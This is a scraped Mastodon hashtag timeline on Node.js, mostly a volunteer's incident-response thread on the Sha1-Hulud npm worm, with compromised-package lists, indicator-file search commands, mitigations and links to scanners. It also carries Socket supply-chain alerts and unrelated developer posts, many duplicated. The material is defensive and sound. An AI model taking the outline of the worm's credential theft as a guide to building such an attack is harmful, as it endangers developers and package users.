#NodeJS

BotKit by Fedify :botkit:'s avatar
BotKit by Fedify :botkit:

@botkit@hollo.social · Reply to BotKit by Fedify :botkit:'s post

BotKitは、ActivityPubボットを作るためのTypeScriptフレームワークです。既存のMastodon/Misskeyボットとの違いは、ボット自体が独立したサーバーとして動作すること。プラットフォームのアカウントは不要です。

文字数制限もなければ、APIレート制限に悩まされることもありません。

bot.onMention = async (session, message) => {
  await message.reply(text`こんにちは、${message.actor}さん!`);
};

フェデレーション、HTTP Signatures、配送キューといったActivityPub周りの処理はFedifyがすべて引き受けます。ボットのロジックを書くだけです。

DenoでもNode.jsでも動きます。

https://botkit.fedify.dev/

BotKit by Fedify :botkit:'s avatar
BotKit by Fedify :botkit:

@botkit@hollo.social · Reply to BotKit by Fedify :botkit:'s post

BotKitは、ActivityPubボットを作るためのTypeScriptフレームワークです。既存のMastodon/Misskeyボットとの違いは、ボット自体が独立したサーバーとして動作すること。プラットフォームのアカウントは不要です。

文字数制限もなければ、APIレート制限に悩まされることもありません。

bot.onMention = async (session, message) => {
  await message.reply(text`こんにちは、${message.actor}さん!`);
};

フェデレーション、HTTP Signatures、配送キューといったActivityPub周りの処理はFedifyがすべて引き受けます。ボットのロジックを書くだけです。

DenoでもNode.jsでも動きます。

https://botkit.fedify.dev/

BotKit by Fedify :botkit:'s avatar
BotKit by Fedify :botkit:

@botkit@hollo.social · Reply to BotKit by Fedify :botkit:'s post

BotKitは、ActivityPubボットを作るためのTypeScriptフレームワークです。既存のMastodon/Misskeyボットとの違いは、ボット自体が独立したサーバーとして動作すること。プラットフォームのアカウントは不要です。

文字数制限もなければ、APIレート制限に悩まされることもありません。

bot.onMention = async (session, message) => {
  await message.reply(text`こんにちは、${message.actor}さん!`);
};

フェデレーション、HTTP Signatures、配送キューといったActivityPub周りの処理はFedifyがすべて引き受けます。ボットのロジックを書くだけです。

DenoでもNode.jsでも動きます。

https://botkit.fedify.dev/

nullagent's avatar
nullagent

@nullagent@partyon.xyz · Reply to nullagent's post

These sorts of NPM worms have been around for a LONG time.

It's typically due a common practice of low 2fa opt-in on NPM accounts.

So be sure to setup NPM 2FA if you're a package maintainer do that asap!

A lesser known NPM capability is that you can disable install time scripts. This may break some packages but its worth a try to see if your projects can work with out any install scripts. 👇🏿

blog.npmjs.org/post/1417028810

Package install scripts vulnerability
Disclaimer: we had been told this vulnerability would be disclosed on Monday, not Friday, so this post is a little rushed and may be edited later.

As disclosed to us in January and formally discussed in CERT vulnerability note VU#319816, it is possible for a maliciously-written npm package, when installed, to execute a script that includes itself into a new package that it then publishes to the registry, and to other packages owned by that user.

npm cannot guarantee that packages available on the registry are safe. If you see malicious code on the registry, report it to support@npmjs.com and it will be taken down.

How to protect yourself
If you are installing a package that you do not trust, you can avoid this vulnerability by running

npm install --ignore-scripts

If you wish to never run scripts at install time, you can instead run

npm config set ignore-scripts true

Either or both of these steps will prevent you from spreading a worm at install time.

If you install a package that contains malicious code and then execute it (e.g. by require()ing it into your code) it could still perform malicious actions. You should not execute any software downloaded from the Internet if you do not trust it, including software downloaded from npm.
ALT text detailsPackage install scripts vulnerability Disclaimer: we had been told this vulnerability would be disclosed on Monday, not Friday, so this post is a little rushed and may be edited later. As disclosed to us in January and formally discussed in CERT vulnerability note VU#319816, it is possible for a maliciously-written npm package, when installed, to execute a script that includes itself into a new package that it then publishes to the registry, and to other packages owned by that user. npm cannot guarantee that packages available on the registry are safe. If you see malicious code on the registry, report it to support@npmjs.com and it will be taken down. How to protect yourself If you are installing a package that you do not trust, you can avoid this vulnerability by running npm install --ignore-scripts If you wish to never run scripts at install time, you can instead run npm config set ignore-scripts true Either or both of these steps will prevent you from spreading a worm at install time. If you install a package that contains malicious code and then execute it (e.g. by require()ing it into your code) it could still perform malicious actions. You should not execute any software downloaded from the Internet if you do not trust it, including software downloaded from npm.
nullagent's avatar
nullagent

@nullagent@partyon.xyz · Reply to nullagent's post

Just finished writing another tool, now I can see NINE known compromised packages are still up for download on NPM! ⚠️

This tool crawls the list of known bad packages and downloads the latest bundle.

It then runs my other checks against the downloaded bundle and logs the results.

github.com/datapartyjs/walk-wi

./is-npm-still-dangerous
Reads the data/infected-pkgs.txt
Downloads the latest package metadata for every known infected package
Downloads the current latest package.tgz
Uncompresses and scans the latest version using ./check-projects
Depending upon the scan result
./is-npm-still-dangerous

capacitor-voice-recorder-wav 6.0.3 - STILL COMPROMISED
haufe-axera-api-client 0.0.2 - STILL COMPROMISED
hyper-fullfacing 1.0.3 - STILL COMPROMISED
@ifelsedeveloper/protocol-contracts-svm-idl 0.1.2 - STILL COMPROMISED
my-saeed-lib 0.1.1 - STILL COMPROMISED
quickswap-ads-list 1.0.33 - STILL COMPROMISED
@seung-ju/react-native-action-sheet 0.2.1 - STILL COMPROMISED
tcsp 2.0.2 - STILL COMPROMISED
web-types-lit 0.1.1 - STILL COMPROMISED
web-types-lit 0.1.1 - STILL COMPROMISED
Found 9 npm-reports/npm-latest-bad.txt packages STILL compromised!

See npm-reports/npm-latest-bad.txt for full listing.
Warning - Most people probably don't need to run this. It causes a lot of NPM traffic. Warning - There's a few packages this fails to download and check (likely bc's they are hosted outside of NPMjs.org)
ALT text details./is-npm-still-dangerous Reads the data/infected-pkgs.txt Downloads the latest package metadata for every known infected package Downloads the current latest package.tgz Uncompresses and scans the latest version using ./check-projects Depending upon the scan result ./is-npm-still-dangerous capacitor-voice-recorder-wav 6.0.3 - STILL COMPROMISED haufe-axera-api-client 0.0.2 - STILL COMPROMISED hyper-fullfacing 1.0.3 - STILL COMPROMISED @ifelsedeveloper/protocol-contracts-svm-idl 0.1.2 - STILL COMPROMISED my-saeed-lib 0.1.1 - STILL COMPROMISED quickswap-ads-list 1.0.33 - STILL COMPROMISED @seung-ju/react-native-action-sheet 0.2.1 - STILL COMPROMISED tcsp 2.0.2 - STILL COMPROMISED web-types-lit 0.1.1 - STILL COMPROMISED web-types-lit 0.1.1 - STILL COMPROMISED Found 9 npm-reports/npm-latest-bad.txt packages STILL compromised! See npm-reports/npm-latest-bad.txt for full listing. Warning - Most people probably don't need to run this. It causes a lot of NPM traffic. Warning - There's a few packages this fails to download and check (likely bc's they are hosted outside of NPMjs.org)
nullagent's avatar
nullagent

@nullagent@partyon.xyz · Reply to nullagent's post

Just finished writing another tool, now I can see NINE known compromised packages are still up for download on NPM! ⚠️

This tool crawls the list of known bad packages and downloads the latest bundle.

It then runs my other checks against the downloaded bundle and logs the results.

github.com/datapartyjs/walk-wi

./is-npm-still-dangerous
Reads the data/infected-pkgs.txt
Downloads the latest package metadata for every known infected package
Downloads the current latest package.tgz
Uncompresses and scans the latest version using ./check-projects
Depending upon the scan result
./is-npm-still-dangerous

capacitor-voice-recorder-wav 6.0.3 - STILL COMPROMISED
haufe-axera-api-client 0.0.2 - STILL COMPROMISED
hyper-fullfacing 1.0.3 - STILL COMPROMISED
@ifelsedeveloper/protocol-contracts-svm-idl 0.1.2 - STILL COMPROMISED
my-saeed-lib 0.1.1 - STILL COMPROMISED
quickswap-ads-list 1.0.33 - STILL COMPROMISED
@seung-ju/react-native-action-sheet 0.2.1 - STILL COMPROMISED
tcsp 2.0.2 - STILL COMPROMISED
web-types-lit 0.1.1 - STILL COMPROMISED
web-types-lit 0.1.1 - STILL COMPROMISED
Found 9 npm-reports/npm-latest-bad.txt packages STILL compromised!

See npm-reports/npm-latest-bad.txt for full listing.
Warning - Most people probably don't need to run this. It causes a lot of NPM traffic. Warning - There's a few packages this fails to download and check (likely bc's they are hosted outside of NPMjs.org)
ALT text details./is-npm-still-dangerous Reads the data/infected-pkgs.txt Downloads the latest package metadata for every known infected package Downloads the current latest package.tgz Uncompresses and scans the latest version using ./check-projects Depending upon the scan result ./is-npm-still-dangerous capacitor-voice-recorder-wav 6.0.3 - STILL COMPROMISED haufe-axera-api-client 0.0.2 - STILL COMPROMISED hyper-fullfacing 1.0.3 - STILL COMPROMISED @ifelsedeveloper/protocol-contracts-svm-idl 0.1.2 - STILL COMPROMISED my-saeed-lib 0.1.1 - STILL COMPROMISED quickswap-ads-list 1.0.33 - STILL COMPROMISED @seung-ju/react-native-action-sheet 0.2.1 - STILL COMPROMISED tcsp 2.0.2 - STILL COMPROMISED web-types-lit 0.1.1 - STILL COMPROMISED web-types-lit 0.1.1 - STILL COMPROMISED Found 9 npm-reports/npm-latest-bad.txt packages STILL compromised! See npm-reports/npm-latest-bad.txt for full listing. Warning - Most people probably don't need to run this. It causes a lot of NPM traffic. Warning - There's a few packages this fails to download and check (likely bc's they are hosted outside of NPMjs.org)
nullagent's avatar
nullagent

@nullagent@partyon.xyz · Reply to nullagent's post

I've spent the last few hours writing down my scripts for detecting this so you can use them!

I'm hitting on two or three ways to detect it and will be adding more.

Watching the attack running I can see developers all over the world still doing their morning `npm i` and getting owned 😭

Maybe let the node developers in your life know about this tool 👇🏿

github.com/datapartyjs/walk-wi

nullagent's avatar
nullagent

@nullagent@partyon.xyz · Reply to nullagent's post

Updated my listing of Sha1-Hulud detection tools.

I now have found at least 12 other tools for detecting Sha1-Hulud compromise on your dev box and in infrastructure.

github.com/datapartyjs/walk-wi

Similar Sha1-Hulud 11/24/25 Detection Tools
Links to other projects provided with no warranty express or implied.

https://github.com/TimothyMeadows/sha1hulud-scanner
https://github.com/mottibec/sha1hulud-scanner
https://github.com/gensecaihq/Shai-Hulud-2.0-Detector
https://github.com/tprinty/sha1hulud-action-detector
https://github.com/da1z/amihulud
https://github.com/bobberg/sha1-hulud-folder-checker
https://github.com/servusdei2018/sha1-halud-scan
https://github.com/kevcooper/fremkit
https://github.com/ysskrishna/shai-hulud-detector
https://github.com/Cobenian/shai-hulud-detect
GitHub Scanners
https://github.com/ysskrishna/shai-hulud-detector
panther-labs/panther-analysis#1826
ALT text detailsSimilar Sha1-Hulud 11/24/25 Detection Tools Links to other projects provided with no warranty express or implied. https://github.com/TimothyMeadows/sha1hulud-scanner https://github.com/mottibec/sha1hulud-scanner https://github.com/gensecaihq/Shai-Hulud-2.0-Detector https://github.com/tprinty/sha1hulud-action-detector https://github.com/da1z/amihulud https://github.com/bobberg/sha1-hulud-folder-checker https://github.com/servusdei2018/sha1-halud-scan https://github.com/kevcooper/fremkit https://github.com/ysskrishna/shai-hulud-detector https://github.com/Cobenian/shai-hulud-detect GitHub Scanners https://github.com/ysskrishna/shai-hulud-detector panther-labs/panther-analysis#1826
nullagent's avatar
nullagent

@nullagent@partyon.xyz · Reply to nullagent's post

I've updated my suggestions to include links and info on how to get fine grained control over the scripts your projects run at compile time.

There's two fairly interesting community projects that seem to address this part of the problem and make it possible to disable most install scripts while keeping the ones your project actually requires.

github.com/datapartyjs/walk-wi

Steps to take
Turn on Multi-Factor Authentication (MFA / 2FA) immediately on your NPM & GitHub accounts (and all other key infra). Change and review passwords for cloud services you use.
You probably shouldn't run any npm install or npm update commands until NPM and GitHub have official mitigations in place.
Before doing anything else you probably should check for signs of comproise. This can be done manually or using this repo or other similar scanning tools. If you DO continue working from an infected machine you risk having your personal data stolen or destroyed by this worm.
After verifying that your system has not already been compromised you can likely safely work as normal but you should avoid upgrading or installing any different package versions. Its not fully clear at the time of posting if NPM is taking down infected packages we're still finding infected packages for download on NPM at this time.
Before installing a new version of a package, you can download a .tgz archive using the command npm pack <package-name>. This does not install the package. You can then uncompress the package and check it for signs of compromise.
Consider disabling install scripts
npm install --ignore-scripts - Ignore install scripts
npm config set ignore-scripts true - Ignore install scripts user wide
"Package install scripts vulnerability" - NPM blog post from 2016 explaining worm mitigations
Consider using a tool for fine grained script management
ALT text detailsSteps to take Turn on Multi-Factor Authentication (MFA / 2FA) immediately on your NPM & GitHub accounts (and all other key infra). Change and review passwords for cloud services you use. You probably shouldn't run any npm install or npm update commands until NPM and GitHub have official mitigations in place. Before doing anything else you probably should check for signs of comproise. This can be done manually or using this repo or other similar scanning tools. If you DO continue working from an infected machine you risk having your personal data stolen or destroyed by this worm. After verifying that your system has not already been compromised you can likely safely work as normal but you should avoid upgrading or installing any different package versions. Its not fully clear at the time of posting if NPM is taking down infected packages we're still finding infected packages for download on NPM at this time. Before installing a new version of a package, you can download a .tgz archive using the command npm pack <package-name>. This does not install the package. You can then uncompress the package and check it for signs of compromise. Consider disabling install scripts npm install --ignore-scripts - Ignore install scripts npm config set ignore-scripts true - Ignore install scripts user wide "Package install scripts vulnerability" - NPM blog post from 2016 explaining worm mitigations Consider using a tool for fine grained script management
Emelia 👸🏻's avatar
Emelia 👸🏻

@thisismissem@hachyderm.io

Watt from Platformatic sounds interesting for improving Node.js server performance: blog.platformatic.dev/93-faste

It's kinda like pm2 but using SO_REUSEPORT, so the kernel handles the load balancing and forwarding of requests to each node.js process.

nullagent's avatar
nullagent

@nullagent@partyon.xyz

There's an active nodejs supply chain attack going around.

From the looks of it many of these compromised packages have been mitigated but quite a few have not.

helixguard.ai/blog/malicious-s

nullagent's avatar
nullagent

@nullagent@partyon.xyz · Reply to nullagent's post

These sorts of NPM worms have been around for a LONG time.

It's typically due a common practice of low 2fa opt-in on NPM accounts.

So be sure to setup NPM 2FA if you're a package maintainer do that asap!

A lesser known NPM capability is that you can disable install time scripts. This may break some packages but its worth a try to see if your projects can work with out any install scripts. 👇🏿

blog.npmjs.org/post/1417028810

Package install scripts vulnerability
Disclaimer: we had been told this vulnerability would be disclosed on Monday, not Friday, so this post is a little rushed and may be edited later.

As disclosed to us in January and formally discussed in CERT vulnerability note VU#319816, it is possible for a maliciously-written npm package, when installed, to execute a script that includes itself into a new package that it then publishes to the registry, and to other packages owned by that user.

npm cannot guarantee that packages available on the registry are safe. If you see malicious code on the registry, report it to support@npmjs.com and it will be taken down.

How to protect yourself
If you are installing a package that you do not trust, you can avoid this vulnerability by running

npm install --ignore-scripts

If you wish to never run scripts at install time, you can instead run

npm config set ignore-scripts true

Either or both of these steps will prevent you from spreading a worm at install time.

If you install a package that contains malicious code and then execute it (e.g. by require()ing it into your code) it could still perform malicious actions. You should not execute any software downloaded from the Internet if you do not trust it, including software downloaded from npm.
ALT text detailsPackage install scripts vulnerability Disclaimer: we had been told this vulnerability would be disclosed on Monday, not Friday, so this post is a little rushed and may be edited later. As disclosed to us in January and formally discussed in CERT vulnerability note VU#319816, it is possible for a maliciously-written npm package, when installed, to execute a script that includes itself into a new package that it then publishes to the registry, and to other packages owned by that user. npm cannot guarantee that packages available on the registry are safe. If you see malicious code on the registry, report it to support@npmjs.com and it will be taken down. How to protect yourself If you are installing a package that you do not trust, you can avoid this vulnerability by running npm install --ignore-scripts If you wish to never run scripts at install time, you can instead run npm config set ignore-scripts true Either or both of these steps will prevent you from spreading a worm at install time. If you install a package that contains malicious code and then execute it (e.g. by require()ing it into your code) it could still perform malicious actions. You should not execute any software downloaded from the Internet if you do not trust it, including software downloaded from npm.
nullagent's avatar
nullagent

@nullagent@partyon.xyz · Reply to nullagent's post

I spent more time searching for other Sha1-Hulud detection tools and found four more bringing it to 6 scanners (5 in nodejs).

Linked them all from my readme in case those work better for you.

Best way to beat a worm like this is to keep scanning and keep an eye out for the attacker to try and evade all of our tools.

By using more than one hopefully we make the attackers job harder to evade all of us.

github.com/datapartyjs/walk-wi

nullagent's avatar
nullagent

@nullagent@partyon.xyz · Reply to nullagent's post

GitHub has almost finished taking down the stolen data posted by the Sha1-Hulud npm/github worm. I only see about 400 repos remaining of the around 23k created by the worm.

This was the most visible evidence of the exploit, just because we can't clearly see the worm's uploads doesn't mean the worm is totally dead yet.

nullagent's avatar
nullagent

@nullagent@partyon.xyz · Reply to nullagent's post

I spent more time searching for other Sha1-Hulud detection tools and found four more bringing it to 6 scanners (5 in nodejs).

Linked them all from my readme in case those work better for you.

Best way to beat a worm like this is to keep scanning and keep an eye out for the attacker to try and evade all of our tools.

By using more than one hopefully we make the attackers job harder to evade all of us.

github.com/datapartyjs/walk-wi

nullagent's avatar
nullagent

@nullagent@partyon.xyz · Reply to nullagent's post

Just finished landing Exit Code support. So now if more scanners are made or one of the projects gets more features you can quickly switch to whichever makes the most sense for your use case!

I literally lost a ton of sleep on this volunteer incident response work so I'm going to go touch grass for a bit.

More hacks later tonight, still got some loose ends gnawing at me lol.

github.com/datapartyjs/walk-wi

nullagent's avatar
nullagent

@nullagent@partyon.xyz · Reply to nullagent's post

The fork of the CrowdStrike scanner introduced me to a really good idea, I should support the same exit code design so that our tools can work in tandem.

Maybe we detect different things or maybe one vs the other works in your environment.

So I made an issue to track this support:

github.com/datapartyjs/walk-wi

nullagent's avatar
nullagent

@nullagent@partyon.xyz · Reply to nullagent's post

I located a second tool for detecting Sha1-Hulud infections. Haven't looked at the details of how it works.

Some notes:

This one appears to have been released by CrowdStrike and was paywalled. Someone decided to modify and release it publicly so license is unknown.

But awesome to see I'm in the big leagues with CrowdStrike and I maybe the first clean open source release of a tool for this.

github.com/TimothyMeadows/sha1

nullagent's avatar
nullagent

@nullagent@partyon.xyz · Reply to nullagent's post

First pass is super simple and just looks for the file names & package.json signature for signs of infection anywhere in the path you tell it to search.

If it sees anything fishy it tells you where and stops until you've read the alert.

Oh and this only uses bash, sed, awk, grep, curl, and jq. So no npm, node or other big supply chains 🥴

github.com/datapartyjs/walk-wi

nullagent's avatar
nullagent

@nullagent@partyon.xyz · Reply to nullagent's post

First pass is super simple and just looks for the file names & package.json signature for signs of infection anywhere in the path you tell it to search.

If it sees anything fishy it tells you where and stops until you've read the alert.

Oh and this only uses bash, sed, awk, grep, curl, and jq. So no npm, node or other big supply chains 🥴

github.com/datapartyjs/walk-wi

nullagent's avatar
nullagent

@nullagent@partyon.xyz · Reply to nullagent's post

I'm quickly finding a mix of packages which were compromised, some were months ago and had the bad versions taken down.

However at the same time I'm noticing packages like the one below that were -just- hacked 19 hours ago and still have not been taken down yet!

With how this worm works its a bit of a pencils down moment... you probably should check your packages right now.

npmjs.com/package/capacitor-vo

nullagent's avatar
nullagent

@nullagent@partyon.xyz · Reply to nullagent's post

I've spent the last few hours writing down my scripts for detecting this so you can use them!

I'm hitting on two or three ways to detect it and will be adding more.

Watching the attack running I can see developers all over the world still doing their morning `npm i` and getting owned 😭

Maybe let the node developers in your life know about this tool 👇🏿

github.com/datapartyjs/walk-wi

nullagent's avatar
nullagent

@nullagent@partyon.xyz · Reply to nullagent's post

Ok I've downloaded some of the compromised packages and you can search your already downloaded node modules for possibly infected packages using this command:

find ./node_modules -type f -name "bun_environment.js"

You can check your user level node cache using:

find ~/.npm -type f -name "bun_environment.js"

Still sizing this one up but if you get any hits check and see if they are big files (around 10MB) and if so you're likely infected.

nullagent's avatar
nullagent

@nullagent@partyon.xyz · Reply to nullagent's post

Taking a second to understand the attack rate. I constructed this query below which shows you essentially an up to date listing of developers/code that's been compromised.

Once your box is infected and PII data has been found the worm then uses your github credentials to upload that content so ANYONE can now steal your credentials.

I'm finding multiple repos being popped every minute. This is an extremely active attack right now.

github.com/search?q=%22Sha1-Hu

nullagent's avatar
nullagent

@nullagent@partyon.xyz · Reply to nullagent's post

I'm quickly finding a mix of packages which were compromised, some were months ago and had the bad versions taken down.

However at the same time I'm noticing packages like the one below that were -just- hacked 19 hours ago and still have not been taken down yet!

With how this worm works its a bit of a pencils down moment... you probably should check your packages right now.

npmjs.com/package/capacitor-vo

nullagent's avatar
nullagent

@nullagent@partyon.xyz

There's an active nodejs supply chain attack going around.

From the looks of it many of these compromised packages have been mitigated but quite a few have not.

helixguard.ai/blog/malicious-s

David Gardiner's avatar
David Gardiner

@DavidRGardiner@mastodon.online

Blogged: **Aspire with Python, React, Rust and Node apps**

What's involved with integrating apps written with Python, Rust, Node and React/Vite with Aspire? Not that much as it turns out!

david.gardiner.net.au/2025/11/

David Gardiner's avatar
David Gardiner

@DavidRGardiner@mastodon.online

Blogged: **Aspire with Python, React, Rust and Node apps**

What's involved with integrating apps written with Python, Rust, Node and React/Vite with Aspire? Not that much as it turns out!

david.gardiner.net.au/2025/11/

jnkrtech's avatar
jnkrtech

@jnkrtech@treehouse.systems

New blog post is up! This is a deep dive into continuation-passing style in TypeScript. (No, I'm not talking about asynchronous callbacks.)

jnkr.tech/blog/cps-in-ts

Let me know what you think and if you have any questions I can answer!

jnkrtech's avatar
jnkrtech

@jnkrtech@treehouse.systems

New blog post is up! This is a deep dive into continuation-passing style in TypeScript. (No, I'm not talking about asynchronous callbacks.)

jnkr.tech/blog/cps-in-ts

Let me know what you think and if you have any questions I can answer!

nove-b🦥's avatar
nove-b🦥

@nove_b@social.nove-b.dev

直近一週間分の睡眠データを、Gemini APIを利用して分析し、睡眠レポートを生成してメールで送信するコードを書きました。
生成されるレポートにいまいち納得感がないので、プロンプト含めプルリクお待ちしております!

github.com/nove-b/fitbit-sleep

Kat Marchán 🐈's avatar
Kat Marchán 🐈

@zkat@toot.cat

you benchmark your node/ruby/python software on your fancy new m4 mbp and celebrate 500ms response times.

I benchmark my rust software on a $30 potato computer that may as well have 256mb of RAM and celebrate 800ms response times.

we are not the same.

morgan's avatar
morgan

@morgan@leds.social · Reply to morgan's post

and with that... I'm actively looking for my next contract, ideally something around ~20h/week. deep knowledge of /#Django, long time Dev, talk to me about !

resume.oit.cloud

morgan's avatar
morgan

@morgan@leds.social · Reply to morgan's post

and with that... I'm actively looking for my next contract, ideally something around ~20h/week. deep knowledge of /#Django, long time Dev, talk to me about !

resume.oit.cloud

Socket's avatar
Socket

@SocketSecurity@fosstodon.org

🚀 Socket now integrates with Bun 1.3’s new Security Scanner API! @bunjavascript users can now protect their projects from malicious packages, typosquatting, & other supply chain attacks. Great to see Bun moving so quickly to protect developers at the package manager level with this new API!

socket.dev/blog/socket-integra

Socket's avatar
Socket

@SocketSecurity@fosstodon.org

North Korea’s “Contagious Interview” campaign continues to weaponize npm: 338 malicious packages, 50K+ downloads. Leveraging typosquats, loader tweaks, and new aliases, it targets devs and job seekers via recruiter lures.

Full Report →
socket.dev/blog/north-korea-co

Socket's avatar
Socket

@SocketSecurity@fosstodon.org

🚀 Socket now integrates with Bun 1.3’s new Security Scanner API! @bunjavascript users can now protect their projects from malicious packages, typosquatting, & other supply chain attacks. Great to see Bun moving so quickly to protect developers at the package manager level with this new API!

socket.dev/blog/socket-integra

Socket's avatar
Socket

@SocketSecurity@fosstodon.org

North Korea’s “Contagious Interview” campaign continues to weaponize npm: 338 malicious packages, 50K+ downloads. Leveraging typosquats, loader tweaks, and new aliases, it targets devs and job seekers via recruiter lures.

Full Report →
socket.dev/blog/north-korea-co

Lovell Fuller's avatar
Lovell Fuller

@lovell@mastodon.social

🔒 If you publish packages to the npm registry and haven't already seen its new Trusted Publisher feature, please do take a look at docs.npmjs.com/trusted-publish

🎟️ It uses short-lived OIDC tokens to allow CI-based automation of signed publish-with-provenance.

📈 According to github.com/sxzz/npm-top-proven I maintain 6 of the top 50 packages that use this feature, and those 6 packages combined have over 600 million downloads each month!

Lovell Fuller's avatar
Lovell Fuller

@lovell@mastodon.social

🔒 If you publish packages to the npm registry and haven't already seen its new Trusted Publisher feature, please do take a look at docs.npmjs.com/trusted-publish

🎟️ It uses short-lived OIDC tokens to allow CI-based automation of signed publish-with-provenance.

📈 According to github.com/sxzz/npm-top-proven I maintain 6 of the top 50 packages that use this feature, and those 6 packages combined have over 600 million downloads each month!

⚯ Michel de Cryptadamus ⚯'s avatar
⚯ Michel de Cryptadamus ⚯

@cryptadamist@universeodon.com

Ω🪬Ω
(the customizable timeline algorithm / filtering system for your Mastodon feed) v1.2.2 is deployed now. Has a switch that makes sure any / users / etc. that you follow are displayed as filter options even if they don't meet the minimum number of recent toots threshold.

Also a bunch of bug fixes and small improvements.

* Try it here: michelcrypt4d4mus.github.io/fe
* Code: github.com/michelcrypt4d4mus/f
* Video of FediAlgo in action (slightly outdated): universeodon.com/@cryptadamist

screenshot of fedialgo demo
ALT text detailsscreenshot of fedialgo demo
⚯ Michel de Cryptadamus ⚯'s avatar
⚯ Michel de Cryptadamus ⚯

@cryptadamist@universeodon.com

Ω🪬Ω
(the customizable timeline algorithm / filtering system for your Mastodon feed) v1.2.2 is deployed now. Has a switch that makes sure any / users / etc. that you follow are displayed as filter options even if they don't meet the minimum number of recent toots threshold.

Also a bunch of bug fixes and small improvements.

* Try it here: michelcrypt4d4mus.github.io/fe
* Code: github.com/michelcrypt4d4mus/f
* Video of FediAlgo in action (slightly outdated): universeodon.com/@cryptadamist

screenshot of fedialgo demo
ALT text detailsscreenshot of fedialgo demo
⚯ Michel de Cryptadamus ⚯'s avatar
⚯ Michel de Cryptadamus ⚯

@cryptadamist@universeodon.com

Ω🪬Ω
(the customizable timeline algorithm / filtering system for your Mastodon feed) v1.2.2 is deployed now. Has a switch that makes sure any / users / etc. that you follow are displayed as filter options even if they don't meet the minimum number of recent toots threshold.

Also a bunch of bug fixes and small improvements.

* Try it here: michelcrypt4d4mus.github.io/fe
* Code: github.com/michelcrypt4d4mus/f
* Video of FediAlgo in action (slightly outdated): universeodon.com/@cryptadamist

screenshot of fedialgo demo
ALT text detailsscreenshot of fedialgo demo
⚯ Michel de Cryptadamus ⚯'s avatar
⚯ Michel de Cryptadamus ⚯

@cryptadamist@universeodon.com

Ω🪬Ω
(the customizable timeline algorithm / filtering system for your Mastodon feed) v1.2.2 is deployed now. Has a switch that makes sure any / users / etc. that you follow are displayed as filter options even if they don't meet the minimum number of recent toots threshold.

Also a bunch of bug fixes and small improvements.

* Try it here: michelcrypt4d4mus.github.io/fe
* Code: github.com/michelcrypt4d4mus/f
* Video of FediAlgo in action (slightly outdated): universeodon.com/@cryptadamist

screenshot of fedialgo demo
ALT text detailsscreenshot of fedialgo demo
⚯ Michel de Cryptadamus ⚯'s avatar
⚯ Michel de Cryptadamus ⚯

@cryptadamist@universeodon.com

Ω🪬Ω
(the customizable timeline algorithm / filtering system for your Mastodon feed) v1.2.2 is deployed now. Has a switch that makes sure any / users / etc. that you follow are displayed as filter options even if they don't meet the minimum number of recent toots threshold.

Also a bunch of bug fixes and small improvements.

* Try it here: michelcrypt4d4mus.github.io/fe
* Code: github.com/michelcrypt4d4mus/f
* Video of FediAlgo in action (slightly outdated): universeodon.com/@cryptadamist

screenshot of fedialgo demo
ALT text detailsscreenshot of fedialgo demo
Socket's avatar
Socket

@SocketSecurity@fosstodon.org

🚨 Multiple CrowdStrike packages trojanized in an ongoing npm supply chain attack: This is the same campaign that hit Tinycolor yesterday with identical malware.

Full list of compromised packages + mitigations →

socket.dev/blog/ongoing-supply

Socket's avatar
Socket

@SocketSecurity@fosstodon.org

🚨 Multiple CrowdStrike packages trojanized in an ongoing npm supply chain attack: This is the same campaign that hit Tinycolor yesterday with identical malware.

Full list of compromised packages + mitigations →

socket.dev/blog/ongoing-supply

Socket's avatar
Socket

@SocketSecurity@fosstodon.org

🚨 Multiple CrowdStrike packages trojanized in an ongoing npm supply chain attack: This is the same campaign that hit Tinycolor yesterday with identical malware.

Full list of compromised packages + mitigations →

socket.dev/blog/ongoing-supply

Socket's avatar
Socket

@SocketSecurity@fosstodon.org

🚨 BREAKING: The DuckDB npm account was compromised. Malicious versions of duckdb, duckdb-wasm, and more were published early this morning with the same wallet-drainer malware seen in yesterday’s supply-chain attack. Check your dependencies!

socket.dev/blog/duckdb-npm-acc

DuckDB npm account compromised
ALT text detailsDuckDB npm account compromised
Socket's avatar
Socket

@SocketSecurity@fosstodon.org

🚨 BREAKING: The DuckDB npm account was compromised. Malicious versions of duckdb, duckdb-wasm, and more were published early this morning with the same wallet-drainer malware seen in yesterday’s supply-chain attack. Check your dependencies!

socket.dev/blog/duckdb-npm-acc

DuckDB npm account compromised
ALT text detailsDuckDB npm account compromised
Socket's avatar
Socket

@SocketSecurity@fosstodon.org

🚨 BREAKING: The DuckDB npm account was compromised. Malicious versions of duckdb, duckdb-wasm, and more were published early this morning with the same wallet-drainer malware seen in yesterday’s supply-chain attack. Check your dependencies!

socket.dev/blog/duckdb-npm-acc

DuckDB npm account compromised
ALT text detailsDuckDB npm account compromised
⚯ Michel de Cryptadamus ⚯'s avatar
⚯ Michel de Cryptadamus ⚯

@cryptadamist@universeodon.com

Ω🪬Ω
v1.1.19 is deployed. Minor bugfixes and improvements to the customizable timeline algorithm / filtering system for your Mastodon feed.

* Link: michelcrypt4d4mus.github.io/fe
* Code: github.com/michelcrypt4d4mus/f
* Video of FediAlgo in action (slightly out of date): universeodon.com/@cryptadamist

screenshot of fedialgo demo app
ALT text detailsscreenshot of fedialgo demo app
⚯ Michel de Cryptadamus ⚯'s avatar
⚯ Michel de Cryptadamus ⚯

@cryptadamist@universeodon.com

Ω🪬Ω
v1.1.19 is deployed. Minor bugfixes and improvements to the customizable timeline algorithm / filtering system for your Mastodon feed.

* Link: michelcrypt4d4mus.github.io/fe
* Code: github.com/michelcrypt4d4mus/f
* Video of FediAlgo in action (slightly out of date): universeodon.com/@cryptadamist

screenshot of fedialgo demo app
ALT text detailsscreenshot of fedialgo demo app
⚯ Michel de Cryptadamus ⚯'s avatar
⚯ Michel de Cryptadamus ⚯

@cryptadamist@universeodon.com

Ω🪬Ω
v1.1.19 is deployed. Minor bugfixes and improvements to the customizable timeline algorithm / filtering system for your Mastodon feed.

* Link: michelcrypt4d4mus.github.io/fe
* Code: github.com/michelcrypt4d4mus/f
* Video of FediAlgo in action (slightly out of date): universeodon.com/@cryptadamist

screenshot of fedialgo demo app
ALT text detailsscreenshot of fedialgo demo app
⚯ Michel de Cryptadamus ⚯'s avatar
⚯ Michel de Cryptadamus ⚯

@cryptadamist@universeodon.com

Ω🪬Ω
v1.1.19 is deployed. Minor bugfixes and improvements to the customizable timeline algorithm / filtering system for your Mastodon feed.

* Link: michelcrypt4d4mus.github.io/fe
* Code: github.com/michelcrypt4d4mus/f
* Video of FediAlgo in action (slightly out of date): universeodon.com/@cryptadamist

screenshot of fedialgo demo app
